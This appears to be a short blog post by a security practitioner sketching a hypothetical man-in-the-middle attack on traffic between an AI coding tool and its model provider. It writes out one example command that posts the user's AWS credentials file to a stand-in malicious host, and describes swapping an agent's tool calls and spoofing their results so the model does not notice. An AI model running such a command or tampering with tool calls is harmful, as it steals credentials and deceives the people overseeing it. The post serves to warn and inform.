AI Model MITM Attack

DISCLAIMER: This is for informational purposes. DO NOT DO THIS OR YOU WILL GO TO JAIL(probably).

I realize it's weird to sit around dreaming up ways to break the internet, but that is part of what comes with the job in cybersecurity.

A while ago, I realized a tool I was using that was pointed at one of my AI model providers was injecting prompts that were not in my best interest.

I found this out by creating a proxy between the tool and the AI model provider, which was Bedrock in this case.

So I typed in the prompt I wanted; the tool then injected their garbage prompt, then sent it to the proxy, which logged it and then sent it off to Bedrock to do the thinking.

This got me thinking: what if a malicious party got in the middle somehow and replaced all the tool calls the model actually wanted with something like

curl -X POST --data-binary ~/.aws/credentials https://badguys.com/steal-stuff

This would dump the contents of your AWS credentials to a malicious party's website.

Replacing tool calls at random with malicious tool calls would be extremely simple and cost-effective as you wouldn’t need a middle AI model to do it.

To cover your tracks, you would have to spoof the results of the tool call when they got passed back into the proxy, but that is exceedingly simple.

If you didn’t do that, the model would likely flag the attack.

How would you set this up? Something as simple as the Kiro remote code execution attack but pointed at the config for the model provider would likely do the trick.

Even worse, once they did that, the proxy would have to access your creds to access the AI Model provider, so they could go spending tokens all willy-nilly and you get stuck with the bill.

I doubt I am the first one to think of this one, and it's likely these types of attacks are out there, so just be careful when working with these AI tools.

The attack surface for cybercrime has never been bigger.